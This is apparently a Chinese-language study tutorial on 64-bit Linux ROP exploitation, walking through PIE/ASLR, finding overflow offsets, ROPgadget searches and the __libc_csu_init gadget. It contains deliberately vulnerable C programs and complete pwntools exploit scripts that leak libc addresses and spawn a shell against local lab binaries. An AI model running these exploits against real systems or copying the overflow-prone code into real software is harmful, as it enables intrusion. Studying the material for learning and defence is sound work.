一步一步学ROP之linux_x64篇
关于PIE的问题的解决
来自天枢战队的p4nda(跟大佬聊天好激动)指导
aslr是动态库 堆栈的随机化 pie是全部程序加载地址的随机化 二者不太一样
开启sudo -s echo 2 > /proc/sys/kernel/randomize_va_space这个开的是aslr。
gcc编译的是pie 默认是关闭的 不开启时程序会加载到固定的地址;32位程序默认加载到0x8040000;64位是0x40000。
程序是动态加载的,用ELF.symbols[]并不是真实地址
对于下面payload
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
plt_write那里也是一个偏移量不能执行。
如何绕过?
还是泄露 ,和泄露libc一样,相当于程序加载地址换了,但是偏移还是一样的;没有什么是固定的,但是就是只要泄露一个程序地址就可以了。
linux_64与linux_86的区别
linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。
例子:
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem () { system("/bin/sh" ); } void vulnerable_function () { char buf[128 ]; read (STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { write (STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
编译命令:$ gcc -fno-stack-protector level3.c -o level3
丢一个150的pattern进去跑,报错会在vulnerable_function函数里面
1 2 3 4 5 6 7 pwndbg> r Starting program: /home/ zoe/Desktop/ ROP_X64/level3 Hello, World Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Program received signal SIGSEGV, Segmentation fault. 0 x00000000004005ec in vulnerable_function ()
PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。也就是说它不能跳转到那个地址上,我们依然可以通过查看栈顶指针来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。
1 2 pwndbg> x/gx $rsp 0x7fffffffdea8 : 0x3765413665413565
其次计算pattern距离:
1 2 3 zoe@ubuntu :~/Desktop/ROP_X64 $ python pattern.py offset 0x3765413665413565 hex pattern decoded as: e5Ae6Ae7 136
计算得到距离为136,接下来就是构造payload进而精确覆盖返回地址到callsystem就可以了,在这之前我们可以先用python -c 'print "A"*136+"ABCDEF\x00\x00"'
来验证一下偏移是否为136
1 2 3 4 5 6 7 8 zoe@ubuntu :~/Desktop/ROP_X64 $ python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload pwndbg> run < payload Starting program: /home/zoe/Desktop/ROP_X64/level3 < payload Hello, World Program received signal SIGSEGV, Segmentation fault. 0x0000464544434241 in ?? ()
从0x0000464544434241就可以知道可以精确控制PC指针到任意地址。
用objdump -S就可以找到callsystem地址0x00000000004005bd
1 2 3 4 5 6 7 00000000004005 bd <callsystem>: 4005 bd: 55 push %rbp 4005 be: 48 89 e5 mov %rsp,%rbp 4005 c1: bf a4 06 40 00 mov $0x4006a4 ,%edi 4005 c6: e8 c5 fe ff ff callq 400490 <system@ plt> 4005 cb: 5 d pop %rbp 4005 cc: c3 retq
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *elf = ELF('level3 ')p = process('./level3 ')callsystem = 0 x00000000004005 bdpayload = "A" *136 + p64 (callsystem)p .send(payload)p .interactive()
使用工具寻找gadgets
objdump -d level4
ROPgadget --binary level4 --only “pop|ret”
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:
1 2 3 4 ROPEME: https://gi thub.com/packz/ ropeme Ropper: https://gi thub.com/sashs/ Ropper ROPgadget: https://gi thub.com/JonathanSalwan/ ROPgadget/tree/m aster rp++: https://gi thub.com/0vercl0k/ rp
下面结合例子来讲解:
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr () { void * handle = dlopen("libc.so.6" , RTLD_LAZY); printf ("%p\n" ,dlsym(handle,"system" )); fflush(stdout ); } void vulnerable_function () { char buf[128 ]; read (STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { systemaddr(); write (1 , "Hello, World\n" , 13 ); vulnerable_function(); }
编译命令:gcc -fno-stack-protector level4.c -o level4 -ldl
其中-ldl 指示连接器连接一个库。这个库里包含了 dlopen, dlsym 等等的函数。也就是说,是支持“在运行时,显示加载使用动态连接库”的函数库。相关的头文件是 dlfcn.h
首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了,只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。
直接用命令ROPgadget --binary level4 --only "pop|ret"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 zoe@ubuntu: ~/Desktop/ROP_X64$ ROPgadget --binary level4 --only "pop|ret" Gadgets information ============================================================ 0x00000000004008ac : pop r12 0x00000000004008ae : pop r13 0x00000000004008b0 : pop r14 0x00000000004008b2 : pop r15 0x00000000004008ab : pop rbp 0x00000000004008af : pop rbp 0x00000000004006f5 : pop rbp 0x00000000004008b3 : pop rdi 0x00000000004008b1 : pop rsi 0x00000000004008ad : pop rsp 0x0000000000400619 : ret 0x0000000000400672 : ret 0x2009 0x0000000000400725 : ret 0xc148
想得到libc库:ldd level4
然后复制到自己目录下就ok
可以看到0x00000000004008b3
就是我们要找的gadget
构造的payload是这样的:
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
解析:填充136个字节到返回地址,返回到那个gadget去执行,这个gadget是把栈上的内容pop出栈放到rdi这个寄存器上,其次后面给的是把binsh_addr来作为参数放到rdi上,system_addr则作为gadget的返回地址,执行完pop rdi;ret,就会ret到system_addr去执行system函数,就会直接利用x64的第一个参数即rdi,最后成功执行system函数。
附加详细说明一下原理:
send这个payload是会写到内存里面的,栈也是放到内存里面的。栈是向下生长的(从高地址向低地址生长,高地址是栈底,低地址是栈顶),但是内存是向上生长的(从低地址到高地址)。这个payload把"\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)依次从低地址到高地址写到内存上,当eip执行到pr地址上的时候再pop这个栈顶数据也就是"/bin/sh"的数据到rdi上,然后跳到system去执行即可。
法一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *libc = ELF('libc.so.6' ) p = process('./level4' ) binsh_addr_offset = next(libc.search('/bin/sh' )) -libc.symbols['system' ] print "binsh_addr_offset = " + hex(binsh_addr_offset)pop_ret_addr = 0x00000000004008b3 print "\n##########receiving system addr##########\n" system_addr_str = p.recvuntil('\n' ) system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr)binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr)p.recv() payload = "\x00" *136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) print "\n##########sending payload##########\n" p.send(payload) p.interactive()
法二的原理:其实我们只需调用一次system()函数就可以获取shell,因为我们已经可以得到system地址和"/bin/sh"的地址,所以我们也可以搜索不带ret的gadgets来构造ROP链。
用下面命令去搜索有call的gadget。
ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
结果如下:
1 2 3 4 5 6 zoe@ubuntu: ~/Desktop/ROP_X64$ ROPgadget --binary libc. so.6 --only "pop|call" | grep rdi 0x0000000000187b43 : call qword ptr [rdi - 0x5c2c0000 ]0x000000000004dee8 : call qword ptr [rdi ]0x0000000000023970 : call rdi 0x00000000000fa379 : pop rax 0x00000000000fa37a : pop rdi
通过搜索结果我们发现,0x00000000000fa379 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可
构造payload(原理跟上面的其实是一样的):
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
法二的原理图:
法二脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *libc = ELF('libc.so.6' ) p = process('./level4' ) print "\n##########init##########\n" binsh_addr_offset = next(libc.search('/bin/sh' )) -libc.symbols['system' ] print "binsh_addr_offset = " + hex(binsh_addr_offset)pop_pop_call_offset = 0x00000000000fa379 - libc.symbols['system' ] print "pop_pop_call_offset = " + hex(pop_pop_call_offset)print "\n##########receiving system addr##########\n" system_addr_str = p.recvuntil('\n' ) system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr)binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr)pop_pop_call_addr = system_addr + pop_pop_call_offset print "pop_pop_call_addr = " + hex(pop_pop_call_addr)p.recv() payload = "\x00" *136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n" p.send(payload) p.interactive()
由上面两个方法我们可以知道,找到不同的gadget会有不一样的方法,理解其原理,灵活运用即可。
通用gadgets(ret2__libc_csu_init示例)
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
为了方便大家学习x64下的ROP,level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read (STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { write (STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
编译命令:gcc -fno-stack-protector level5.c -o level5
但是有一个问题就是每次编译出来的跟题目给的文件不太一样,比如用ROPgadget寻找pop ret的时候找到的gadget数量也是不一样的。如下图:
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so ,程序都会有这个函数用来对libc进行初始化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 00000000004005a0 <__libc_csu_init>: 4005a0 : 48 89 6 c 24 d8 mov %rbp,-0 x28 (%rsp) 4005a5 : 4 c 89 64 24 e0 mov %r12 ,-0 x20 (%rsp) 4005aa : 48 8 d 2 d 73 08 20 00 lea 0 x200873 (%rip),%rbp # 600 e24 <__init_array_end> 4005b1 : 4 c 8 d 25 6 c 08 20 00 lea 0 x20086 c(%rip),%r12 # 600 e24 <__init_array_end> 4005b8 : 4 c 89 6 c 24 e8 mov %r13 ,-0 x18 (%rsp) 4005bd : 4 c 89 74 24 f0 mov %r14 ,-0 x10 (%rsp) 4005c2 : 4 c 89 7 c 24 f8 mov %r15 ,-0 x8 (%rsp) 4005c7 : 48 89 5 c 24 d0 mov %rbx,-0 x30 (%rsp) 4005cc : 48 83 ec 38 sub $0 x38 ,%rsp 4005d0 : 4 c 29 e5 sub %r12 ,%rbp 4005d3 : 41 89 fd mov %edi,%r13 d 4005d6 : 49 89 f6 mov %rsi,%r14 4005d9 : 48 c1 fd 03 sar $0 x3 ,%rbp 4005dd : 49 89 d7 mov %rdx,%r15 4005e0 : e8 1 b fe ff ff callq 400400 <_init> 4005e5 : 48 85 ed test %rbp,%rbp 4005e8 : 74 1 c je 400606 <__libc_csu_init+0 x66 > 4005ea : 31 db xor %ebx,%ebx 4005ec : 0 f 1 f 40 00 nopl 0 x0 (%rax) 4005f0 : 4 c 89 fa mov %r15 ,%rdx 4005f3 : 4 c 89 f6 mov %r14 ,%rsi 4005f6 : 44 89 ef mov %r13 d,%edi 4005f9 : 41 ff 14 dc callq *(%r12 ,%rbx,8 ) 4005fd : 48 83 c3 01 add $0 x1 ,%rbx 400601 : 48 39 eb cmp %rbp,%rbx 400604 : 75 ea jne 4005 f0 <__libc_csu_init+0 x50 > 400606 : 48 8 b 5 c 24 08 mov 0 x8 (%rsp),%rbx 40060b : 48 8 b 6 c 24 10 mov 0 x10 (%rsp),%rbp 400610 : 4 c 8 b 64 24 18 mov 0 x18 (%rsp),%r12 400615 : 4 c 8 b 6 c 24 20 mov 0 x20 (%rsp),%r13 40061a : 4 c 8 b 74 24 28 mov 0 x28 (%rsp),%r14 40061f : 4 c 8 b 7 c 24 30 mov 0 x30 (%rsp),%r15 400624 : 48 83 c4 38 add $0 x38 ,%rsp 400628 : c3 retq 400629 : 0 f 1 f 80 00 00 00 00 nopl 0 x0 (%rax)
这个函数的汇编之后的跟我用gcc编译的还是有一点不一样的地方。
注:其实只是表示形式不一样,实质含义都是一样的。
比如下面两种表示形式:
1 2 3 4 5 6 7 8 400606 : 48 8 b 5 c 24 08 mov 0 x8 (%rsp),%rbx 40060b : 48 8 b 6 c 24 10 mov 0 x10 (%rsp),%rbp 400610 : 4 c 8 b 64 24 18 mov 0 x18 (%rsp),%r12 400615 : 4 c 8 b 6 c 24 20 mov 0 x20 (%rsp),%r13 40061a : 4 c 8 b 74 24 28 mov 0 x28 (%rsp),%r14 40061f : 4 c 8 b 7 c 24 30 mov 0 x30 (%rsp),%r15 400624 : 48 83 c4 38 add $0 x38 ,%rsp 400628 : c3 retq
和下面这种表示形式
1 2 3 4 5 6 7 8 400626 : 48 83 c4 08 add $0x8 ,%rsp 40062 a: 5 b pop %rbx 40062 b: 5 d pop %rbp 40062 c: 41 5 c pop %r12 40062 e: 41 5 d pop %r13 400630 : 41 5 e pop %r14 400632 : 41 5f pop %r15 400634 : c3 retq
上面两段表示的含义都是把栈上第二个参数开始一次pop给rbx、rbp、r12等。
这个题目要讲明白的是一个通用的gadget,这里主要是因为__libc_csu_init()这个函数,一般来说,只要程序调用了libc.so ,程序都会有这个函数用来对libc进行初始化操作。
而在这个函数里面有两段函数我们可以利用的。0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,然后他在后面会自加1,就可以cmp比较rbp和rbx的值,如果相等就会继续向下执行(计算一个填充值(7 8=56bits))并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。
先构造payload1泄露write_got的值计算system的地址;利用write()输出write的内存地址,因为是call [r12];所以我们要给他的是write_got的地址而不是plt的地址。
1 2 3 4 5 6 7 payload1 = "\x00" *136 payload1 += p64 (0 x400606 ) + p64 (0 ) +p64 (0 ) + p64 (1 ) + p64 (got_write) + p64 (1 ) + p64 (got_write) + p64 (8 ) # pop_junk_rbx_rbp_r12 _r13 _r14 _r15 _retpayload1 += p64 (0 x4005 F0 ) # mov rdx, r15 ; mov rsi, r14 ; mov edi, r13 d; call qword ptr [r12+rbx*8] payload1 += "\x00" *56 payload1 += p64 (main)
当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
1 2 3 4 5 6 7 payload2 = "\x00" *136 payload2 += p64 (0 x400606 ) + p64 (0 ) + p64 (0 ) + p64 (1 ) + p64 (got_read) + p64 (0 ) + p64 (bss_addr) + p64 (16 ) # pop_junk_rbx_rbp_r12 _r13 _r14 _r15 _retpayload2 += p64 (0 x4005 F0 ) # mov rdx, r15 ; mov rsi, r14 ; mov edi, r13 d; call qword ptr [r12+rbx*8] payload2 += "\x00" *56 payload2 += p64 (main)
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
1 2 3 4 5 6 7 payload3 = "\x00" *136 payload3 += p64 (0 x400606 ) + p64 (0 ) +p64 (0 ) + p64 (1 ) + p64 (bss_addr) + p64 (bss_addr+8 ) + p64 (0 ) + p64 (0 ) # pop_junk_rbx_rbp_r12 _r13 _r14 _r15 _retpayload3 += p64 (0 x4005 F0 ) # mov rdx, r15 ; mov rsi, r14 ; mov edi, r13 d; call qword ptr [r12+rbx*8] payload3 += "\x00" *56 payload3 += p64 (main)
最后构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *elf = ELF('level5 ')libc = ELF('libc.so.6 ')p = process('./level5 ')got_write = elf.got['write']print "got_write: " + hex(got_write)got_read = elf.got['read']print "got_read: " + hex(got_read)main = 0 x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system']print "off_system_addr: " + hex(off_system_addr)payload1 = "\x00" *136 payload1 += p64 (0 x400606 ) + p64 (0 ) +p64 (0 ) + p64 (1 ) + p64 (got_write) + p64 (1 ) + p64 (got_write) + p64 (8 ) payload1 += p64 (0 x4005 F0 )payload1 += "\x00" *56 payload1 += p64 (main)p .recvuntil("Hello, World\n" )print "\n#############sending payload1#############\n" p .send(payload1 )sleep (1 )write_addr = u64 (p.recv(8 ))print "write_addr: " + hex(write_addr)system_addr = write_addr - off_system_addrprint "system_addr: " + hex(system_addr)bss_addr =0 x601028 p .recvuntil("Hello, World\n" )payload2 = "\x00" *136 payload2 += p64 (0 x400606 ) + p64 (0 ) + p64 (0 ) + p64 (1 ) + p64 (got_read) + p64 (0 ) + p64 (bss_addr) + p64 (16 )payload2 += p64 (0 x4005 F0 ) payload2 += "\x00" *56 payload2 += p64 (main)print "\n#############sending payload2#############\n" p .send(payload2 )sleep (1 )p .send(p64 (system_addr))p .send("/bin/sh\0" )sleep (1 )p .recvuntil("Hello, World\n" )payload3 = "\x00" *136 payload3 += p64 (0 x400606 ) + p64 (0 ) +p64 (0 ) + p64 (1 ) + p64 (bss_addr) + p64 (bss_addr+8 ) + p64 (0 ) + p64 (0 ) payload3 += p64 (0 x4005 F0 ) payload3 += "\x00" *56 payload3 += p64 (main)print "\n#############sending payload3#############\n" sleep (1 )p .send(payload3 )p .interactive()
自己用命令编译程序的的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *elf = ELF('level5 ')libc = ELF('libc.so.6 ')p = process('./level5 ')got_write = elf.got['write']print "got_write: " + hex(got_write)got_read = elf.got['read']print "got_read: " + hex(got_read)main = 0 x40059 doff_system_addr = libc.symbols['write'] - libc.symbols['system']print "off_system_addr: " + hex(off_system_addr)payload1 = "\x00" *136 payload1 += p64 (0 x400626 ) + p64 (0 ) +p64 (0 ) + p64 (1 ) + p64 (got_write) + p64 (8 ) + p64 (got_write) + p64 (1 ) payload1 += p64 (0 x400610 )payload1 += "\x00" *56 payload1 += p64 (main)p .recvuntil("Hello, World\n" )print "\n#############sending payload1#############\n" p .send(payload1 )sleep (1 )write_addr = u64 (p.recv(8 ))print "write_addr: " + hex(write_addr)system_addr = write_addr - off_system_addrprint "system_addr: " + hex(system_addr)bss_addr =0 x601048 p .recvuntil("Hello, World\n" )payload2 = "\x00" *136 payload2 += p64 (0 x400626 ) + p64 (0 ) + p64 (0 ) + p64 (1 ) + p64 (got_read) + p64 (16 ) + p64 (bss_addr) + p64 (0 )payload2 += p64 (0 x400610 ) payload2 += "\x00" *56 payload2 += p64 (main)print "\n#############sending payload2#############\n" p .send(payload2 )sleep (1 )p .send(p64 (system_addr))p .send("/bin/sh\0" )sleep (1 )p .recvuntil("Hello, World\n" )payload3 = "\x00" *136 payload3 += p64 (0 x400626 ) + p64 (0 ) +p64 (0 ) + p64 (1 ) + p64 (bss_addr) + p64 (0 ) + p64 (0 ) + p64 (bss_addr+8 ) payload3 += p64 (0 x400610 ) payload3 += "\x00" *56 payload3 += p64 (main)print "\n#############sending payload3#############\n" sleep (1 )p .send(payload3 )p .interactive()
总结
理解了__libc_csu_init
通用gadget的使用和其原理,感觉对ROP有了更好的理解
在寻找gadget的时候,这些函数都可以利用
+_init
+_start
+call_gmon_start
+deregister_tm_clones
+register_tm_clones
+__do_global_dtors_aux
+frame_dummy
+__libc_csu_init
+__libc_csu_fini
+_fini